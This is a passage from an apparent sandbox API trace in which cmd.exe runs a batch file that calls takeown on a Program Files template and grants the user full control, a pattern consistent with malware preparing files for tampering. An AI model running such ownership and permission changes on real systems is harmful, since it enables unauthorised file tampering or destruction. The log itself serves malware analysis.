_String2=".CMD") returned 2 [0102.441] GetConsoleTitleW (in: lpConsoleTitle=0x39ed2c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0102.441] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x104d10, lpFilePart=0x39e84c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x39e84c*="Desktop") returned 0x25 [0102.441] SetErrorMode (uMode=0x0) returned 0x1 [0102.441] GetProcessHeap () returned 0xf0000 [0102.441] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x104d08, Size=0x64) returned 0x104d08 [0102.441] GetProcessHeap () returned 0xf0000 [0102.442] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x104d08) returned 0x64 [0102.442] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0102.442] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0102.442] GetProcessHeap () returned 0xf0000 [0102.442] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x120) returned 0x104840 [0102.442] GetProcessHeap () returned 0xf0000 [0102.442] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x238) returned 0x104968 [0102.442] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0102.442] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x39e5c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39e5c8) returned 0xffffffff [0102.442] GetLastError () returned 0x2 [0102.442] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x39e5c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39e5c8) returned 0xffffffff [0102.442] GetLastError () returned 0x2 [0102.442] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0102.443] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x39e5c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39e5c8) returned 0xf1250 [0102.443] FindClose (in: hFindFile=0xf1250 | out: hFindFile=0xf1250) returned 1 [0102.443] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x39e5c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39e5c8) returned 0xffffffff [0102.443] GetLastError () returned 0x2 [0102.443] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x39e5c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39e5c8) returned 0xf1250 [0102.443] FindClose (in: hFindFile=0xf1250 | out: hFindFile=0xf1250) returned 1 [0102.443] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0102.443] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0102.443] GetConsoleTitleW (in: lpConsoleTitle=0x39eac0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0102.443] InitializeProcThreadAttributeList (in: lpAttributeList=0x39e948, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x39ea10 | out: lpAttributeList=0x39e948, lpSize=0x39ea10) returned 1 [0102.443] UpdateProcThreadAttribute (in: lpAttributeList=0x39e948, dwFlags=0x0, Attribute=0x60001, lpValue=0x39ea08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x39e948, lpPreviousValue=0x0) returned 1 [0102.443] GetStartupInfoW (in: lpStartupInfo=0x39e904 | out: lpStartupInfo=0x39e904*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0102.444] lstrcmpW (lpString1="\\takeown.exe", lpString2="\\XCOPY.EXE") returned -1 [0102.444] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="takeown /F \"C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x39e9a4*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="takeown /F \"C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x39e9f0 | out: lpCommandLine="takeown /F \"C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\"", lpProcessInformation=0x39e9f0*(hProcess=0x78, hThread=0x74, dwProcessId=0xe64, dwThreadId=0xe68)) returned 1 [0102.502] CloseHandle (hObject=0x74) returned 1 [0102.502] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0102.502] GetProcessHeap () returned 0xf0000 [0102.502] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1081a8 | out: hHeap=0xf0000) returned 1 [0102.502] GetEnvironmentStringsW () returned 0x105fc0* [0102.502] GetProcessHeap () returned 0xf0000 [0102.502] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xb5c) returned 0x1081a8 [0102.502] FreeEnvironmentStringsW (penv=0x105fc0) returned 1 [0102.502] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0103.629] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x39e8e4 | out: lpExitCode=0x39e8e4*=0x0) returned 1 [0103.629] CloseHandle (hObject=0x78) returned 1 [0103.629] _vsnwprintf (in: _Buffer=0x39ea2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x39e8f0 | out: _Buffer="00000000") returned 8 [0103.629] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0103.630] GetProcessHeap () returned 0xf0000 [0103.630] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1081a8 | out: hHeap=0xf0000) returned 1 [0103.630] GetEnvironmentStringsW () returned 0x105fc0* [0103.630] GetProcessHeap () returned 0xf0000 [0103.630] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xb5c) returned 0x1081a8 [0103.630] FreeEnvironmentStringsW (penv=0x105fc0) returned 1 [0103.630] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0103.630] GetProcessHeap () returned 0xf0000 [0103.630] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1081a8 | out: hHeap=0xf0000) returned 1 [0103.630] GetEnvironmentStringsW () returned 0x105fc0* [0103.630] GetProcessHeap () returned 0xf0000 [0103.630] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xb5c) returned 0x1081a8 [0103.630] FreeEnvironmentStringsW (penv=0x105fc0) returned 1 [0103.630] GetProcessHeap () returned 0xf0000 [0103.630] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf0db8 | out: hHeap=0xf0000) returned 1 [0103.630] DeleteProcThreadAttributeList (in: lpAttributeList=0x39e948 | out: lpAttributeList=0x39e948) [0103.630] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.630] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0103.631] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.631] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0103.631] _get_osfhandle (_FileHandle=0) returned 0x3 [0103.631] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0103.632] SetConsoleInputExeNameW () returned 0x1 [0103.632] GetConsoleOutputCP () returned 0x1b5 [0103.632] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0103.632] SetThreadUILanguage (LangId=0x0) returned 0x409 [0103.632] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x39f164, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0103.633] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0103.633] _get_osfhandle (_FileHandle=3) returned 0x78 [0103.633] SetFilePointer (in: hFile=0x78, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0103.633] GetProcessHeap () returned 0xf0000 [0103.633] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104a98 | out: hHeap=0xf0000) returned 1 [0103.633] GetProcessHeap () returned 0xf0000 [0103.634] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104968 | out: hHeap=0xf0000) returned 1 [0103.634] GetProcessHeap () returned 0xf0000 [0103.634] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104840 | out: hHeap=0xf0000) returned 1 [0103.634] GetProcessHeap () returned 0xf0000 [0103.634] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104d08 | out: hHeap=0xf0000) returned 1 [0103.634] GetProcessHeap () returned 0xf0000 [0103.634] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104798 | out: hHeap=0xf0000) returned 1 [0103.634] GetProcessHeap () returned 0xf0000 [0103.634] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104580 | out: hHeap=0xf0000) returned 1 [0103.634] GetProcessHeap () returned 0xf0000 [0103.634] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104500 | out: hHeap=0xf0000) returned 1 [0103.634] GetProcessHeap () returned 0xf0000 [0103.634] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1043d0 | out: hHeap=0xf0000) returned 1 [0103.634] GetProcessHeap () returned 0xf0000 [0103.634] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1042a8 | out: hHeap=0xf0000) returned 1 [0103.634] GetProcessHeap () returned 0xf0000 [0103.634] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104238 | out: hHeap=0xf0000) returned 1 [0103.634] GetProcessHeap () returned 0xf0000 [0103.634] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1041a0 | out: hHeap=0xf0000) returned 1 [0103.634] GetProcessHeap () returned 0xf0000 [0103.634] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf1230 | out: hHeap=0xf0000) returned 1 [0103.634] GetProcessHeap () returned 0xf0000 [0103.634] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf11d0 | out: hHeap=0xf0000) returned 1 [0103.634] _get_osfhandle (_FileHandle=3) returned 0x78 [0103.634] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0103.634] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x39f148, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x39f148*=0xb3, lpOverlapped=0x0) returned 1 [0103.635] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0103.635] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=16, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="set FN=\"%~nx1\"\r\nUSERNAME%:F /C\r\n") returned 16 [0103.635] _get_osfhandle (_FileHandle=3) returned 0x78 [0103.635] GetFileType (hFile=0x78) returned 0x1 [0103.635] _get_osfhandle (_FileHandle=3) returned 0x78 [0103.635] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0103.635] GetProcessHeap () returned 0xf0000 [0103.635] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x400a) returned 0x114bc8 [0103.636] GetProcessHeap () returned 0xf0000 [0103.636] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x80) returned 0xf11d0 [0103.636] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp", nBufferLength=0x208, lpBuffer=0x39e8d8, lpFilePart=0x39e8d0 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp", lpFilePart=0x39e8d0*="Dotted_Line.jtp") returned 0x3a [0103.636] FindFirstFileW (in: lpFileName="C:\\Program Files", lpFindFileData=0x39e5ec | out: lpFindFileData=0x39e5ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca90ed40, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xca90ed40, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 0xf1258 [0103.636] FindClose (in: hFindFile=0xf1258 | out: hFindFile=0xf1258) returned 1 [0103.636] _wcsnicmp (_String1="PROGRA~1", _String2="Program Files", _MaxCount=0xd) returned 17 [0103.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal", lpFindFileData=0x39e5ec | out: lpFindFileData=0x39e5ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa0606470, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0606470, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 0xf1258 [0103.637] FindClose (in: hFindFile=0xf1258 | out: hFindFile=0xf1258) returned 1 [0103.637] _wcsnicmp (_String1="WI0FCF~1", _String2="Windows Journal", _MaxCount=0xf) returned -62 [0103.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates", lpFindFileData=0x39e5ec | out: lpFindFileData=0x39e5ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0xf1258 [0103.637] FindClose (in: hFindFile=0xf1258 | out: hFindFile=0xf1258) returned 1 [0103.637] _wcsnicmp (_String1="TEMPLA~1", _String2="Templates", _MaxCount=0x9) returned 10 [0103.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp", lpFindFileData=0x39e5ec | out: lpFindFileData=0x39e5ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5597007, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5597007, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46ca8869, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ce6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Line.jtp", cAlternateFileName="")) returned 0xf1258 [0103.637] FindClose (in: hFindFile=0xf1258 | out: hFindFile=0xf1258) returned 1 [0103.638] GetProcessHeap () returned 0xf0000 [0103.638] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x28) returned 0xf1258 [0103.638] GetProcessHeap () returned 0xf0000 [0103.638] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x114bc8 | out: hHeap=0xf0000) returned 1 [0103.638] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x58) returned 0x1041a0 [0103.638] GetProcessHeap () returned 0xf0000 [0103.638] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x10) returned 0xf0db8 [0103.638] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x34) returned 0xf1288 [0103.639] _tell (_FileHandle=3) returned 63 [0103.639] _close (_FileHandle=3) returned 0 [0103.639] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x39ef1c | out: _Buffer="\r\n") returned 2 [0103.639] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.639] GetFileType (hFile=0x7) returned 0x2 [0103.640] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.640] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39eedc | out: lpMode=0x39eedc) returned 1 [0103.640] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.640] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x39ef08, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39ef08*=0x2) returned 1 [0103.641] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0103.641] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0103.642] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x39ef18 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0103.642] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x39ef18 | out: _Buffer=">") returned 1 [0103.642] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.642] GetFileType (hFile=0x7) returned 0x2 [0103.642] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.642] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39eee0 | out: lpMode=0x39eee0) returned 1 [0103.642] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.642] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x39ef0c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x39ef0c*=0x26) returned 1 [0103.643] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.643] GetFileType (hFile=0x7) returned 0x2 [0103.643] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.643] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f164 | out: lpMode=0x39f164) returned 1 [0103.643] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.643] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xf0dc0*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x39f190, lpReserved=0x0 | out: lpBuffer=0xf0dc0*, lpNumberOfCharsWritten=0x39f190*=0x3) returned 1 [0103.644] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x39f19c | out: _Buffer=" FN=\"Dotted_Line.jtp\" ") returned 22 [0103.644] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.644] GetFileType (hFile=0x7) returned 0x2 [0103.644] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.644] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f15c | out: lpMode=0x39f15c) returned 1 [0103.644] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.644] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x16, lpNumberOfCharsWritten=0x39f188, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39f188*=0x16) returned 1 [0103.645] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x39f1bc | out: _Buffer="\r\n") returned 2 [0103.645] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.645] GetFileType (hFile=0x7) returned 0x2 [0103.645] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.645] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f17c | out: lpMode=0x39f17c) returned 1 [0103.645] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.645] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x39f1a8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39f1a8*=0x2) returned 1 [0103.647] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0103.647] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0103.647] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0103.647] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0103.647] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0103.647] _wcsicmp (_String1="set", _String2="CD") returned 16 [0103.647] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0103.647] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0103.647] _wcsicmp (_String1="set", _String2="REN") returned 1 [0103.647] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0103.647] _wcsicmp (_String1="set", _String2="SET") returned 0 [0103.647] GetConsoleTitleW (in: lpConsoleTitle=0x39ed2c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0103.648] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x60) returned 0x104200 [0103.648] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x104200, Size=0x34) returned 0x104200 [0103.648] GetProcessHeap () returned 0xf0000 [0103.648] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x104200) returned 0x34 [0103.648] wcsncmp (_String1="FN", _String2="/", _MaxCount=0x4) returned 23 [0103.648] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x3c) returned 0x104240 [0103.648] _wcsnicmp (_String1="FN", _String2="/A", _MaxCount=0x2) returned 55 [0103.648] _wcsnicmp (_String1="FN", _String2="/P", _MaxCount=0x2) returned 55 [0103.649] SetEnvironmentVariableW (lpName="FN", lpValue="\"Dotted_Line.jtp\"") returned 1 [0103.649] GetProcessHeap () returned 0xf0000 [0103.649] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1081a8 | out: hHeap=0xf0000) returned 1 [0103.649] GetEnvironmentStringsW () returned 0x106b50* [0103.649] GetProcessHeap () returned 0xf0000 [0103.649] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xb86) returned 0x1076e0 [0103.649] FreeEnvironmentStringsW (penv=0x106b50) returned 1 [0103.649] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.649] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0103.649] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.649] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0103.649] _get_osfhandle (_FileHandle=0) returned 0x3 [0103.650] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0103.650] SetConsoleInputExeNameW () returned 0x1 [0103.650] GetConsoleOutputCP () returned 0x1b5 [0103.650] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0103.650] SetThreadUILanguage (LangId=0x0) returned 0x409 [0103.650] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x39f164, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0103.651] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0103.651] _get_osfhandle (_FileHandle=3) returned 0x78 [0103.651] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0103.651] GetProcessHeap () returned 0xf0000 [0103.651] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104240 | out: hHeap=0xf0000) returned 1 [0103.651] GetProcessHeap () returned 0xf0000 [0103.651] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104200 | out: hHeap=0xf0000) returned 1 [0103.651] GetProcessHeap () returned 0xf0000 [0103.651] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf1288 | out: hHeap=0xf0000) returned 1 [0103.651] GetProcessHeap () returned 0xf0000 [0103.651] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf0db8 | out: hHeap=0xf0000) returned 1 [0103.651] GetProcessHeap () returned 0xf0000 [0103.651] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1041a0 | out: hHeap=0xf0000) returned 1 [0103.651] GetProcessHeap () returned 0xf0000 [0103.651] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf1258 | out: hHeap=0xf0000) returned 1 [0103.651] GetProcessHeap () returned 0xf0000 [0103.651] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf11d0 | out: hHeap=0xf0000) returned 1 [0103.651] _get_osfhandle (_FileHandle=3) returned 0x78 [0103.651] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0103.652] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x39f148, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x39f148*=0xa3, lpOverlapped=0x0) returned 1 [0103.652] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0103.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cd /d \"%~dp0\"\r\n\nUSERNAME%:F /C\r\n") returned 15 [0103.652] _get_osfhandle (_FileHandle=3) returned 0x78 [0103.652] GetFileType (hFile=0x78) returned 0x1 [0103.652] _get_osfhandle (_FileHandle=3) returned 0x78 [0103.652] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0103.652] GetProcessHeap () returned 0xf0000 [0103.652] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x400a) returned 0x114bc8 [0103.652] GetProcessHeap () returned 0xf0000 [0103.652] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, 